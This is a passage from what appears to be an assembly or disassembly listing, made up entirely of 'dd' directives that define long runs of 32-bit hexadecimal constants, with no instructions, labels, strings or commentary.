2F837F3Ch, 8C20E88Ch dd 42CED6DDh, 0A1AAC502h, 0D03B86B3h, 143C1214h, 42208164h dd 28DAD015h, 245874B8h, 35C0DF88h, 0FC5BCBB6h, 4E88FA3Ah dd 328402C0h, 8C5173B8h, 1D073711h, 67EDF2B4h, 303387AEh dd 93EA8C25h, 800D6001h, 0C99AF522h, 0CD815C78h, 305F95AAh dd 2D3B1E2Ah, 0C27E03E2h, 809A2313h, 488D431Bh, 428024B4h dd 0BE1D7152h, 0A6574A00h, 4CFCDFE9h, 0CAF4079Eh, 9F46B4h dd 0CB250634h, 22005C91h, 634E14E2h, 0A09B9F5Fh, 28F17BF2h dd 553CAE00h, 0FE4A1726h, 1DB600B8h, 9437CAE1h, 14093FCFh dd 0E43C7CB7h, 15DA0278h, 0D625DD45h, 3450D05Ch, 0DA4F815Ch dd 88F91CEAh, 55ED6180h, 9DACB1Dh, 5EBBC538h, 7EF3C470h dd 3ED3FC60h, 8C435F24h, 66F820F4h, 83BBA41h, 0C8A82138h dd 39B55C01h, 6C899265h, 47219462h, 77241D14h, 904B992Fh dd 0D17040h, 9C74EAA0h, 6447481Fh, 8AA3C801h, 163FA1F7h dd 0ACC412A5h, 0A4328400h, 0A3AB7FF8h, 43021CA9h, 1834A69Bh dd 0B4D971AEh, 800A18A1h, 0D856C30Ch, 8DC049h, 279D0B3Eh dd 0AC328569h, 9022E55Fh, 109611E1h, 9ED10h, 0A3D23A3Dh dd 5ECA8E16h, 417E9003h, 0F00AA126h, 186E86E3h, 41B86D12h dd 7200D68Dh, 9D528ED1h, 0FCF01145h, 0B5EE6C7h, 4B1C4FE3h dd 0A122CC52h, 0D7640543h, 0A46D278Ch, 0AA5EE9C8h, 71C424C8h dd 8ABF00A7h, 52A37101h, 0A1B71423h, 7D6D289Ch, 1888783Ch dd 0C8004397h, 97DFF409h, 25B67893h, 5845AEE9h, 9DED0207h dd 0A31ABF00h, 14BB3DA5h, 459E2D80h, 0C5A421AAh, 8D88B804h dd 34824470h, 7101161Dh, 0BC96DA3Fh, 0F020F6E0h, 0D4EC8AF7h dd 0E95BFD08h, 14E469ADh, 86FB932h, 0CD25E00Bh, 0BC78DE8Fh dd 8FC02841h, 5ED8C1D0h, 5BC88616h, 79800043h, 35FFAE39h dd 10952373h, 0F42DFEB0h, 0E77C01B5h, 5BD00B8Ch, 6EB2D788h dd 0AA07B044h, 78D16F6Ah, 4E046C1h, 2D80182Ch, 858FA1D7h dd 8424DB00h, 0A0BD7235h, 0E6791F27h, 563A9F25h, 80E8C483h dd 1446DC24h, 9E00E0A4h, 81DD6192h, 164047Fh, 0B44C6D15h dd 313EE1AFh, 6BE84A02h, 73CC8040h, 4FFC408Bh, 56543122h dd 79ADF011h, 0E47CBA29h, 1FFD4F80h, 1549247h, 6EC9DD19h dd 0F8A14B5Ch, 6B098415h, 903789C1h, 94694DCh, 3CDDE469h dd 0BE00F4F9h, 0EF35204Dh, 8E5300FFh, 0CDB5EBACh, 9A008DEAh dd 380F631Fh, 91D024F3h, 0B7E90A9Ch, 0E8F14998h, 0D729C300h dd 547180Eh, 0AD96305h, 5266C756h, 0F8D9BF32h, 0D120ECC4h dd 0CA4A74ABh, 84BE6CA0h, 703ED90Eh, 2A14807Ah, 0BCC4CC12h dd 612050F8h, 0BE2ABB00h, 0F4E6DCB5h, 7DC40062h, 0FA6C0FECh dd 1B030358h, 0C6CB4308h, 8F080937h, 9CF39932h, 134F3E0Eh dd 646CE0B5h, 0C9F6B580h, 291D48A1h, 4832F476h, 0E0513Bh dd 45B967E9h, 0D0179717h, 0CD0107FBh, 0AA327D99h, 6A0B9439h dd 780222FEh, 74DED738h, 50B3E912h, 8A12C621h, 0AFCC2C30h dd 1BA6004Eh, 23855986h, 0DA027B06h, 33A6443h, 56484179h dd 418470E2h, 0C02C6D1Dh, 7A100B91h, 2038C08Ch, 5A12A9E5h dd 363B78A0h, 0F0405500h, 0AF0CBAB9h, 3C45072Ah, 0C065AA76h dd 0CC2DB3B0h, 0DF3F317Fh, 388E013Bh, 0F3F18B1Ah, 8D2C017Eh dd 70969358h, 89C8C08h, 0C9AED440h, 81640074h, 1E8F05D0h dd 0E51CC694h, 1981FB35h, 46115BBBh, 71FC206Fh, 69058AB2h dd 0E884CDE9h, 3BD8830h, 4D7AC8h, 88F1A8B8h, 9727C920h dd 0A23416E6h, 6C00482Bh, 6790E965h, 2F0A007Ah, 69377E12h dd 4C039622h, 4B23F3DFh, 0F5C01DF2h, 0B413561Dh, 6D00A19Ch dd 206EBE59h, 6371E0h, 493586AFh, 0D65D8AC5h, 0F6D7BC00h dd 0E85180Ch, 89500BEh, 779BB763h, 0BB14DFD9h, 80447h dd 3B719107h, 0E912D5h, 47C0D48Ch, 2C045229h, 614E1B00h dd 647E4809h, 0D0F90038h, 5B189A1Ch, 0F6783FAFh, 0B0D76C3Fh dd 4FB951F4h, 21940FC6h, 838C4359h, 0F0004D19h, 0CEAD2EBEh dd 1C7C5EEEh, 0C1EF92D2h, 4690D752h, 85A891BAh, 8A9A818h dd 0C700CDB7h, 0E415D407h, 0DA03E9h, 0AE6F06BEh, 7B19D7DFh dd 30FBA503h, 0C93E3549h, 38807CF4h, 53C7A09Bh, 0FE3919F1h dd 0B19E00D4h, 5CD1BBD8h, 71B0245h, 28973F1Ch, 62209884h dd 0ABA823FBh, 8AEC891Fh, 6064FCCEh, 0E8EF31B4h, 71133FDCh dd 0CEBF8D80h, 0F48219B0h, 0B6812460h, 0DF2618h, 8E328715h dd 586D22D3h, 5B62D100h, 0D669D539h, 312360F4h, 0D7D2F2F9h dd 0A72EEB00h, 0CB69CD9Fh, 0A49700D4h, 67AE208Ah, 7144F422h dd 0F426F4BBh, 2F61D5Dh, 0ECDC15E2h, 0B300353Ah, 80145791h dd 7F0158B6h, 86F9E659h, 41877653h, 4361A3FCh, 0BB88E0D6h dd 2901134Eh, 734F3C4Dh, 0D0C00E6Bh, 0F6380061h, 5E6ADAAAh dd 66B05330h, 0DBCEF50Ch, 0F17E71E2h, 91A79850h, 0F3CD1C22h dd 8F95BF56h, 8900A0ACh, 485DC3B6h, 0B402EF5Fh, 0E8D8F87Ah dd 2B8E8076h, 188AD536h, 0A125F371h, 0D000E0DCh, 0F623E397h dd 0F4BB233h, 18A337DDh, 0A0D485h, 0F9E444AFh, 0C93F66C1h dd 71A7302Eh, 0ED7CB57h, 26DE8B5Ch, 0E09D69E7h, 39A27D11h dd 10BF0D00h, 8BCAC03h, 0D9C9C265h, 9090F3B3h, 0A80056EDh dd 0F5F1A11Bh, 15C3FBBh, 0F6D6BA77h, 0F8A01C15h, 0AFB8BCF9h dd 0CBB641C7h, 87FAC641h, 1E77BCCh, 2D6E36DEh, 0DF5E69E1h dd 2222900h, 1E45936Dh, 4D9C0F49h, 0A402EB6h, 341AA85Ah dd 0F2EAEB73h, 3D510B00h, 0E5EA774Ch, 0A98B00A5h, 0AA680374h dd 5960AFFAh, 0D5E3F608h, 42700EDh, 0B8C3E6B3h, 841E9367h dd 188162D7h, 0FF7F9F02h, 29651C42h, 0D4DC9F00h, 957A24h dd 7809B3E1h, 21FD0066h, 8B34D513h, 0D103304Dh, 8168F62Ah dd 0AA0800C6h, 0A3636975h, 50006759h, 0FEACE7B6h, 1332AB8h dd 0EB852F73h, 5C029F63h, 69008D3Ch, 3EBE8162h, 16B6A3F4h dd 427993h, 2AA1D212h dd 0E300886Ch, 9DFA8F16h, 0C08283E9h, 0D2801E79h, 2D00CA73h dd 8F79217Eh, 0A6F4BC5Dh, 0B7F50088h, 28476E77h, 0E00029AEh dd 3569A434h, 6979005h, 93D3F404h, 73323158h, 0E068089Eh dd 0C1442Eh, 1DD76BB6h, 1886F878h, 94D3F10Ch, 31593164h dd 0A191EC29h, 93E19D10h, 0D8DE0E83h, 9F2F95Bh, 60A065E4h dd 0CC9A210Ch, 0D9005D06h, 3E836B3Ah, 3FA3B4EBh, 1982C172h dd 0A169DD34h, 7A661880h, 2D3E5A55h, 0BBCE3B73h, 753C80E2h dd 0CC439F39h, 1808E209h, 0C1ABD20Dh, 99DEA115h, 86F44000h dd 9060CE98h, 9391002Ch, 6C17E81Dh, 0F750019Fh, 6418DD4Ch dd 801111A0h, 2A8C0BCCh, 97817DE6h, 0F4E09F41h, 0C8A26F52h dd 0CA1DFA03h, 79D3691Fh, 0A811A469h, 4A00A84Ch, 946C413h dd 0F206179Ah, 0CF8108C7h, 0DA9F5839h, 0F514EF00h, 2DE0E75Dh dd 13232503h, 0E8A4BD52h, 6321590Ah, 0EA2319Dh, 9281A100h dd 0E4A0778Bh, 3FDA0129h, 0AFB92314h, 7F899C37h, 0C1272880h dd 161011h, 5F9BD759h, 0FE9FD970h, 0BEF10B38h, 302030B9h dd 1D2915D2h, 83FB139Bh, 360FE9C0h, 0A92CC087h, 570017A6h dd 0E30E8E2Fh, 34E9542h, 8C08A0ADh, 280304ECh, 0F0819D15h dd 1A83E093h, 3BFE66Ch, 0E34028A6h, 0B9D09EDDh, 58C015E6h dd 0B1980E0Fh, 0BDBB028Bh, 0BCAE4E47h, 0AD45E3A0h, 761F8F6Ch dd 6BC0A120h, 0D6734CB6h, 663D016Ah, 0ECAE5C34h, 0AA799E03h dd 0A4252300h, 8BD384h, 5DAF68C4h, 0E88748B6h, 65F64400h dd 0DADFC692h, 0B8D61813h, 8C489E5h, 9FFD0900h, 0E02A021Ch dd 0A50701A0h, 0B9DBC5D6h, 4A1440E3h, 912E0474h, 9F00E132h dd 3EDF6739h, 0A33B00ACh, 0C1BA8CB2h, 380A27E5h, 0A0166417h dd 186CFD86h, 1CBF0A8h, 4B57487Fh, 4125AE5Dh, 8D4CA4h dd 3ED580h, 0A4378551h, 21F68352h, 7E926906h, 18B8E019h dd 5910E9A8h, 8903E25Ch, 68D4FD0Ah, 0B2A90AD3h, 808C4BECh dd 0EE4C047Dh, 0DA007B16h, 0B136C331h, 0D10DD10Ah, 71007091h dd 0B52C9FB6h, 0C10B876Fh, 0DC849569h, 0C5DC00FAh, 9C06D5E7h dd 0BA317F60h, 6051B8D3h, 0E34EF0ABh, 79C6068Ch, 61146Dh dd 5B88B75Eh, 0FCB1E1F4h, 9B27D800h, 0C733382Ch, 28E4E279h dd 0F71C1794h, 35920E10h, 7DBAC000h, 0B3566393h, 0F6721CF2h dd 817800B1h, 6D509FA1h, 4C5EA01h, 0A8AE31Eh, 0A9D6498Fh dd 8094098Ah, 0FCDF4D77h, 0CAE6B62Eh, 6A529102h, 81D55DBEh dd 0DCFC2C0h, 88476420h, 3B00748Ah, 0D4B41CBAh, 528206E5h dd 0F900B08Dh, 76299BE7h, 0B10520DEh, 0E831D288h, 430DFC48h dd 69C1C4F9h, 7511801Ch, 6768C3CEh, 482106DCh, 0F11A6D12h dd 9009379h, 0B90F8C3Dh, 0FEF17FB6h, 0D130604Eh, 0DDEC674Fh dd 30A0177Ah, 0A702D480h, 3247A2FDh, 0F434438Ch, 96C28441h dd 0AD34DCDCh, 0A44D511Eh, 7D40415Ch, 631745FBh, 0CB4CA015h dd 146690F1h, 28169BD4h, 273A8001h, 5050EC97h, 82DF638Ch dd 20AD4007h, 0BAA04501h, 0D13F8FAh, 35FECC81h, 3082328h dd 83497659h, 3D1D8866h, 9D580EEEh, 7E00F594h, 4BDF350Ch dd 89163130h, 6169EEh, 0E85A19B6h, 65213D42h, 0FA969A12h dd 1B6D8006h, 0CF9F02E1h, 5164F6B7h, 7E787E0h, 3CB7E00h dd 0C04B74B2h, 0C0C4B8E3h, 906CD689h, 0C61EB573h, 8939A19Bh dd 10B80AD3h, 526617CCh, 0D5008819h, 3E119099h, 4938BD69h dd 28C92413h, 83062240h, 80A0A44Bh, 0A894EC04h, 60EEE8h dd 0B9381F26h, 0A73C7D21h, 0CDB56A3Dh, 838D3F98h, 3AEDFAD9h dd 15292122h, 90456408h, 20C78469h, 55420948h, 21952442h dd 5D121D0Bh, 62D03320h, 0CB1903E3h, 0CD1AE25Bh, 0D11CE0F0h dd 20044903h, 880548E6h, 47F9D0h, 4AFA8A50h, 22F5898Fh dd 80088E6Fh, 34E89298h, 0D9AB3F9Ch, 19B00070h, 0BC335678h dd 5401B3BAh, 77627DE1h, 47709095h, 1E8CB002h, 72BFF42h dd 677D3EB3h, 5FDD409Dh, 0A600F0B8h, 8CA5166Dh, 0B0B536h dd 0E6F311E0h, 7E032744h, 4A46FD00h, 62EC6F6Ch, 24C80090h dd 9AC1B33Dh, 1B002512h, 0E60A69ADh, 7DE8BF67h, 3460003Ah dd 0F36F90F7h, 0B3007FDCh, 0CD4E4475h, 0A88569C2h, 346CED8h dd 0BB20C3C7h, 901FC11Fh, 9C03845Ah, 0F33DF44Eh, 0E6F0E75Bh dd 0B502C8h, 6CC21CAFh, 6D54F227h, 4D256800h, 3AF410D0h dd 80C84940h, 0FCC1B800h, 43D5E858h, 0ADF04A03h, 0A04F02A6h dd 3DFAFE81h, 589F2F0Bh, 3546C0F2h, 5722E3B3h, 0BB6838h dd 52F5AF8h, 9B6A96h, 8988DDDh, 0EC5E6F4Ch, 82EE1100h dd 50D0DBBBh, 90790072h, 515416A2h, 1E07E95Eh, 3A17D592h dd 1B4FACD1h, 0C35CF440h, 357CD6h, 345AA5D9h, 4A03D08Eh dd 0C8384D00h, 1B97F53Dh, 5B041E94h, 1F70C0EBh, 0D56042BBh dd 8B586500h, 0A8A5F85Ch, 0E6B80002h, 0E7CD54ADh, 0B27C57AEh dd 0FBD9C503h, 947A9CB7h, 5D80AC95h, 1774DAh, 875DB96h dd 25BDDB0h, 5FE19400h, 0D5FA061Eh, 4B1C00B8h, 4A5463EDh dd 2F1B608Ah, 0E009E251h, 0F66C5C6Bh, 2CB50092h, 2A38B00Bh dd 5D00DBA2h, 0C02443B1h, 0C8B8B3h, 879464D0h, 89A2746Fh dd 4B799A01h, 4E86E660h, 97280FCh, 0EF5955C8h, 0A0C12C00h dd 0EC0F5F49h, 0A0FEB86Bh, 6B3B94Fh, 0BB630092h, 6EB0204Ah dd 3300ECD5h, 50C6A00Bh, 828D5Bh, 0D9F575F2h, 5E2D254Fh dd 0AAF73903h, 1052ECh, 0E7A36711h, 0BB8BB1Bh, 2F632600h dd 48DE8CD1h, 68E20054h, 40CD310Fh, 4A005246h, 0EE9C18ACh dd 69796Ch, 67D84358h, 3A36AAA0h, 7F1E58B7h, 0E50E00CEh dd 5CCABA7Dh, 0DDFCDCB5h, 0F4547B00h, 0F930AB87h, 80AA3AA7h dd 0A925D884h, 4C80EBAEh, 1325F98h, 0B749CE85h, 2FB61E5Dh dd 294296C0h, 395100D2h, 0D57DED20h, 48006E35h, 0A1DB11D0h dd 0C23886h, 2CE15673h, 0BEA06960h, 0F3EB23Ah, 7D2BB3BFh dd 367FCCC7h, 606B5E7h, 4C8307E8h, 0D1814090h, 0D58A3F95h dd 85746093h, 88499E00h, 354A927Ah, 0FF0D004Dh, 0A0FC51Dh dd 2A37C818h, 80C90902h, 6776111h, 86220064h, 0C22FB0E6h dd 0C0026A4h, 8C7E9495h, 5A21D2Ah, 1A40ED97h, 26EC005Bh dd 4E797D3Dh, 0D59A8B00h, 4B8E3B37h, 9CFC0036h, 7E3A09CFh dd 280095D3h, 2CE2BF01h, 0A7C41Eh, 0A0F83D1Ch, 7A5A5217h dd 0B3A47700h, 0E4BF6A1Dh, 6BDC0023h, 66F0134h, 0C600B7BCh dd 0C2B6BD53h, 4CD7613Dh, 2F00BF9Fh, 59737B03h, 0F60349DBh dd 7725C437h, 0D539A8D3h, 0B7690061h, 0E80CBC0h, 0DDEE8C4Fh dd 9997BC07h, 2A03FB1h, 1D01116Dh, 0C0E495E2h, 1C8F2571h dd 1E601A60h, 0CFB63E19h, 8586075Bh, 5081575Eh, 0B7A5EAB3h dd 0FE4DF400h, 217BDFDBh, 1F8B079Fh, 2FCF7133h, 0EE20C62Fh dd 0E6B7A98Eh, 0EDD6F103h, 0D0517839h, 5C97B8h, 0AC7C95E3h dd 36B971FCh, 0ABF8BA00h, 0E79D9F6Dh, 844B00BDh, 22817790h dd 4AFADF70h, 0A292D701h, 7B093E2Fh, 0B9165E0h, 44BC6819h dd 1E502F87h, 0DB9704A0h, 6E07FF9Eh, 4AD5D27Eh, 8D3BA970h dd 0E03100BDh, 74769646h, 48079FFBh, 1D8A247Ah, 0FAD099C0h dd 0B05D00DAh, 6AAD3340h, 6303F928h, 1BC758F5h, 0A6808FD5h dd 12FA2B25h, 651842h, 0EFC6F208h, 57AE441h, 6CD9FB00h dd 0BB497C44h, 0E3DA006Eh, 0FFDE2B9Bh, 0C890A9A1h, 4D74D701h dd 5857B8AAh, 7B0420h, 32FC113Fh, 0EC19E6A1h, 0D5F72900h dd 982578E5h, 0A4CF1E14h dd 0C4503E03h, 0D41800CCh, 2A401F0Ch, 6EEAA32Ch, 9C7DEA00h dd 0E5BCAE22h, 7CBE004Dh, 17C5CDFBh, 2500A870h, 24F7AE1h dd 861D64h, 1A75C860h, 95559E7Fh, 70A6707h, 5BD0307Bh dd 0AEA0D7h, 0B249DA4Fh, 0F30DE91Ch, 37FE9D00h, 6713538Dh dd 40300050h, 41E533D5h, 0E61E3220h, 0E8C02242h, 142C2E48h dd 2D1B000Dh, 7CD5EE13h, 0F1389861h, 0F097867Eh, 0F809768Bh dd 9D972A0h, 9AD2C944h, 5DC53301h, 14E2D080h, 0F749FE1Eh dd 0D4364A04h, 24D15380h, 0C0830048h, 0ECBDE8C2h, 8C006C19h dd 2950EA65h, 262C3Eh, 72311762h, 0E4FC835Ah, 6C93D01Fh dd 40D4714Fh, 0BC8430C0h, 405C04D1h, 805779FBh, 0E6A2DE20h dd 1100AE79h, 0EECC47B8h, 7BB964D4h, 351F033h, 0F324A038h dd 32B87206h, 2D02A4A2h, 1F5AF02Eh, 9C49C0A5h, 65F240h dd 5776506Dh, 6EF43221h, 9645B200h, 0CDF926DAh, 0BB970792h dd 0D0BF5E95h, 0EE86D568h, 293A527Bh, 78E680CFh, 143A1C3Fh dd 0F4DD00E0h, 0D235932Eh, 0E83B77EBh, 29DA871Eh, 17A09F6Fh dd 0EA56B7h, 7D4CE110h, 0E72AA17Ch, 31FD50C0h, 16F668Bh dd 41F0D1DAh, 0CDFAC18Ah, 4C209EE8h, 0E2C83BC0h, 573AD93h dd 471C3439h, 0CF40360h, 0ED0F721h, 3A0EF63Ch, 0C7F43E0Fh dd 38001A15h, 0E4013719h, 902100FAh, 92E5A42Dh, 0E41BA37Ah dd 0E009528Fh, 0AB4EE6Ch, 98C69528h, 72E904F4h, 983C3394h dd 5B9E5E0h, 0D5CD4305h, 0C1BC80A1h, 0B6298D4Dh, 50090E1h dd 0D7DBA7AFh, 7FEF3EDAh, 66CF0FF3h, 0FC0034B4h, 8C8D71CCh dd 7AC2BC00h, 26A05C5Fh, 0DB430018h, 4CA6C650h, 8500F19Dh dd 0C03B18Ch, 7C80BD48h, 277F0026h, 71D06765h, 0E10222C8h dd 0AAA4763Bh, 48888063h, 756658Fh, 4FA6A3DAh, 0CB33A0F2h dd 0D100C47Fh, 35824D83h, 0C12DB4h, 6B7C1917h, 0AE6F465Bh dd 580648h, 8A9F9110h, 242C7ED9h, 802C0F97h, 0F80EE409h dd 0E258158Dh, 0FE820796h, 4F84ADB0h, 68F0F3C7h, 19D96A3h dd 20AE2E4Ch, 806D6CEBh, 0B5F64D98h, 1D7597Fh, 0A209EC66h dd 2B51B2E4h, 0FA3FF0h, 0B4C92532h, 0A495C323h, 80E03838h dd 96A19978h, 0ADB140h, 107DDC24h, 0A982F15Eh, 0CCCF5C1Dh dd 91323C9h, 0C78FF735h, 3E120E5h, 0BD2B04A7h, 25425D88h dd 9BE43100h, 0A9987C5Ch, 0C0B10FCEh, 39E00567h, 0FCA8032Dh dd 96108700h, 699FAB77h, 0D87B00A7h, 74513D89h, 0E7007D6Ah dd 42F03576h, 7093DF64h, 0F1160029h, 681D899Dh, 0E300586Eh dd 0D5A0B1Bh, 908D9534h, 62060377h, 2515E9F0h, 0A94A3C98h dd 240050E6h, 71ADFDBDh, 1FC5F672h, 0C0E94913h, 2FCF8D9Ah dd 0D007944Ch, 0A68F4F30h, 48E7B640h, 0E7A189Dh, 9412E861h dd 9816800h, 0C86718Dh, 8473008Fh, 486F8B06h, 6E008222h dd 8993FD4Bh, 35795BDh, 5472C5E0h, 97CBE8Bh, 0F85F6D3Bh dd 45788800h, 807C6648h, 11E30002h, 81E89FEBh, 0F507601Fh dd 0D262DCD1h, 343AE130h, 0BB460072h, 7DC6F4C2h, 0C43B64CBh dd 77BE803Dh, 94F33B4Ch, 55C2C87h, 546D0060h, 0A79A0651h dd 0A40ED490h, 0C04F90F6h, 33E593F4h, 0E39E00D2h, 986AB78Ah dd 0F800851Ah, 502148CEh, 2B8E003h, 0D8F1234Ah, 40802EEDh dd 7C6B9F37h, 7FBE4800h, 42663F71h, 49F400D2h, 0E9469C35h dd 31F6A9DCh, 723C8D08h, 5D65078Ah, 0F0A5E0FCh, 590342CDh dd 501A7D71h, 0C220168Bh, 0BC00AA30h, 0AE3B5F04h, 0D6BCA06Ch dd 78D7993h, 41270F96h, 6077031Dh, 5088C4FBh, 0DF00D416h dd 24E46E51h, 15D32Dh, 1E23355Fh, 0D5D15BDBh, 0F8EA1300h dd 188E0F73h, 9F5D1CB8h, 5720CAD7h, 3DA1876Ch, 6286A092h dd 0C100E40Ch, 69FA6E16h, 98D7AD4Dh, 0AE4A0044h, 0DF0C8556h dd 0D90093DEh, 8BEF030Bh, 333B61Ch, 0E6CFE34Ch, 9FB0C7A2h dd 65013D6Ch, 0FEAA2F41h, 53D5CA7Bh, 2D936630h, 627019CFh dd 752C6E00h, 0A1548A4Fh, 72E1003Ah, 6285D137h, 400DFF6h dd 0FC326A4Dh, 7075BDC8h, 10200011h, 96B32348h, 4500D168h dd 44D06551h, 0E47242h, 56063B49h, 0E0C77CAAh, 8A5DD612h dd 0B4884040h, 3E915E70h, 93006AB6h, 8F2966BAh, 5A0C6BB3h dd 78F8BD9Ch, 0DAF50735h, 1DD237FFh, 3D2CF009h, 0D971B00h dd 8DC73494h, 0D57D61h, 1656FF4Bh, 0D82E024Ah, 153D5E00h dd 0B465112Dh, 0B2A10AA2h, 0A87DE98h, 0F901ECCh, 3521C31Fh dd 0C4A2F093h, 0A0E21985h, 10482490h, 6DC20072h, 78A4320h dd 60A5F21Fh, 0CFE411AFh, 0B4785047h, 0E101A00h, 369E89FCh dd 0F0845116h, 50248431h, 3E9F0060h, 0F1BEA81Dh, 970A8D94h dd 0E48121CEh, 20B7F800h, 0EA3612h, 0C7502FB1h, 0CC54F2CBh dd 7C00D676h, 76E4E34Bh, 3C6D8Ch, 0C9E53D1Dh, 162891BAh dd 0CBD0AD00h, 0A9012345h, 3938E896h, 7C9B93h, 0F5F2B60h dd 6BB17094h, 0E4305Ch, 0F319FCDAh, 64BC91h, 3DFE7B43h dd 510EDC4h, 0B092A990h, 0B4584E0Ah, 0AD00F0C5h, 0AF43488Ah dd 4F620088h, 465E8C9Bh, 39008F9Ah, 0B179C558h, 0D82CC93h dd 7AC7A0AEh, 9BA9F009h, 0E4022A04h, 3CC04C34h, 0EE45EC88h dd 99A00074h, 8FDA8131h, 40009AA4h, 5B825354h, 10C8810h dd 4D3525D9h, 300B8571h, 3D01E778h, 62819B4Ah, 0F1D8477Ch dd 8D604CB3h, 0F47B5D00h, 0D1A6782Ah, 73004BFCh, 408EE720h dd 0F8647E1Bh, 0D9EA6Ah, 0B3925653h, 19E2A35Ch, 263D3103h dd 0E6584E8h, 38F1B019h, 7E8790E1h, 53F03049h, 0E4DC7F00h dd 44B581BCh, 1870F5h, 0D0159734h, 68562821h, 72CF8001h dd 3EFA6403h, 74C452E5h, 86CA1CB2h, 992580FBh, 4354381Bh dd 10F7D91Dh, 5B6F6880h, 6A37C2h, 3F0953F3h, 809C32BEh dd 9DF7E43Ah, 600152FBh, 8870B90h, 0F264CCh, 5E0755CDh dd 30249E99h, 31F940C0h, 58D588h, 0EDB92CE7h, 0B591F7D4h dd 561ECFF6h, 0AAC0A3F5h, 0DA8B3748h, 0E3A4240Eh, 0D9890740h dd 0B5FB100Dh, 2900D27Eh, 39DB8082h, 1CF5BDE4h, 0C7F2289Fh dd 80DF5EC0h, 189AD195h, 0BFB2702h, 0E081457Dh, 1F8EF36Dh dd 89BEA2C9h, 708FBCABh, 0F589DC20h, 6E00D375h, 57F25B08h dd 0E2543FFh, 192D9641h, 5F11BAA0h, 0F700740Bh, 858DF253h dd 1E83E5E6h, 1ECE7E4Ch, 802A0C70h, 0FC805D11h, 0E07D89D2h dd 9F00FDAEh, 0D04B7618h, 6CF3ED5h, 0ADB6A53Ch, 4500283Dh dd 0C6A26FF8h, 0CF827085h, 1D06B7B9h, 0D5F02050h, 0FA69A900h dd 7544868Ch, 20EC8370h, 69924Bh, 4A41CFCCh, 3FD28E18h dd 3A2A39h, 0C79E5340h, 0AAE90Dh, 4F835E30h, 0EA214543h dd 66055800h, 9C9BA7C9h, 71BE061Ch, 896C346Dh, 1AE78B00h dd 4780B194h, 0C8030233h, 52F316BEh, 6EA2D980h, 88C75D18h dd 0E2F0A4ABh, 7D351DBh, 0BC6FCC3Bh, 9CA29014h, 48F8E105h dd 0D0EC4BF8h, 84C11700h, 63149312h, 427A1E39h, 0AB003D8Bh dd 0EF7015F0h, 6A00180Ch, 0F04B854h, 371DDC53h, 2138A706h dd 0ED93EACBh, 90A8C0B4h, 6651D500h, 8E6C2AE5h, 9B63014Fh dd 56700574h, 0D8C0D284h, 87E3DC67h, 0E4897738h, 0E3D54440h dd 0CDD407E5h, 0EEF0FB05h, 0BB3F41C0h, 8C00B340h, 0B61613F4h dd 2C2143CDh, 0C71E3Bh, 0DB8F4C72h, 0CBF8A49Dh, 676D0500h dd 0EAB24D19h, 0BE43DADh, 3DDCEC00h, 2E93ED83h, 0CEE1A26Fh dd 0BA446E7h, 1173F411h, 0B842E5h, 839F8A60h, 5C5BF88h dd 3EE3196Dh, 757F876Ah dd 0CF8047B8h, 0F1D9C0FAh, 0DB8B9C6h, 42061102h, 0C3247F46h dd 6D7680A0h, 8080DCF7h, 0A33629C1h, 80001B81h, 16925CABh dd 7AAE4FDh, 1E912201h, 6ED3E732h, 60474267h, 3BD8824h dd 0F60B1774h, 3FCE4AAh, 0A0C724h, 7B634202h, 1A95EF9Bh dd 0D674A5F8h, 0BA7C28C0h, 0ECA6BDh, 7E7BD8BBh, 0CE5F08BEh dd 3AA97700h, 6505F4B3h, 8C0A00F0h, 351E4FFCh, 91017ED5h dd 2C744899h, 3FF7ED93h, 5F9F3DA0h, 306746D3h, 0FA003845h dd 712D7C51h, 0B635B6Ch, 8C8E24A5h, 0A89F5680h, 6B001D46h dd 0F62FFE6h, 0D013149h, 0C57F0C56h, 9B8FCAC8h, 87C060FBh dd 0A5493BAh, 16007B88h, 0FF5650C0h, 90969254h, 3C263BFFh dd 3A9A7A00h, 0CDD60FA6h, 0A9E4931Ch, 590790A4h, 405FEE48h dd 0C2FD83CEh, 0D79E0722h, 0B64EDCD6h, 48F10B1h, 0EEF62B43h dd 41060010h, 8A43899h, 0B3008101h, 98131A05h, 12BABBAh dd 59B97E61h, 9196A006h, 73F529h, 8E2F3079h, 0AA0B24B0h dd 92DC2200h, 0ECF234C1h, 0E37300CBh, 8BC674C9h, 0B1043E06h dd 86692A4h, 16E94C1h, 94C7F8h, 23337BE0h, 1B9399E1h, 0C5DD001h dd 75F034C3h, 7DB809Eh, 0EADEEBE2h, 80221CA0h, 92A9FA23h dd 0D6009BA2h, 419561F4h, 0F2AA9E87h, 33090082h, 0BFAB683h dd 203D5534h, 0C2A0012Bh, 252C7087h, 0AF4A40EAh, 8D08006Ch dd 1C3637B6h, 8E0038D5h, 2C142ABCh, 0F56E1Bh, 937597AEh dd 4A1DDA34h, 0F6958907h, 94378346h, 67E99DD0h, 0F9A114E3h dd 7407B4B0h, 9013BD65h, 0ECED0782h, 0AF70E26Fh, 0DE0A2078h dd 0D6B93Ah, 701D4D4Ah, 73A40FDDh, 0DC6B4000h, 102CC3E3h dd 20310076h, 4EEED7C7h, 540084DEh, 2972BC24h, 46419A7h dd 8B859331h, 0A336C034h, 0AC00A4A5h, 0B30ABC57h, 1F914439h dd 0C009FFEEh, 7D12EC6Fh, 7A009F42h, 0DC593BC9h, 18DEF83h dd 0B47B3523h, 203DD7A3h, 49707014h, 437EDF0Bh, 0DD00FF34h dd 4C2032Ch, 0BB769CE4h, 63B9F300h, 2E369BD6h, 5B40041h dd 0EFA75857h, 4400115Dh, 4B7084F7h, 0B711323h, 0E01B9C7Eh dd 0A016FC80h, 0E700F52Ah, 0B3350557h, 1CAAF3C6h, 408B794Ah dd 6E073A0Bh, 0DA2C1550h, 6A1DB076h, 4900AD6Ch, 7E18EA6Dh dd 42B70035h, 0FA3861Bh, 0C0A81A04h, 631DE5F3h, 5740C23Dh dd 2F025E71h, 28A63D69h, 3188FF80h, 5F90383Bh, 3265E300h dd 0D91CD7EDh, 2DAE1D16h, 25A780E2h, 499343F0h, 5C3C4500h dd 6D4C8DBBh, 0E89045Eh, 80CF1A4Fh, 7510994h, 3A832A00h dd 5D81FAAFh, 38D0092h, 57FE68BAh, 231D5F97h, 0CF81447Dh dd 7C86DB63h, 2E8F5080h, 2D871C22h, 70FC83E2h, 0D23D0F00h dd 0E6121171h, 25740ED6h, 3E1C5D1h, 24C1C82Ch, 9500ADE8h dd 4F2F1BCh, 0A680AEh, 7C2B398Eh, 0B538D2D0h, 8DF08B1Fh dd 1C1F6587h, 2D668F80h, 6AE401B0h, 0C42549B4h, 0F60C34E7h dd 91B20801h, 0C1D1E271h, 0E6A95820h, 747B0080h, 0D648EAB4h dd 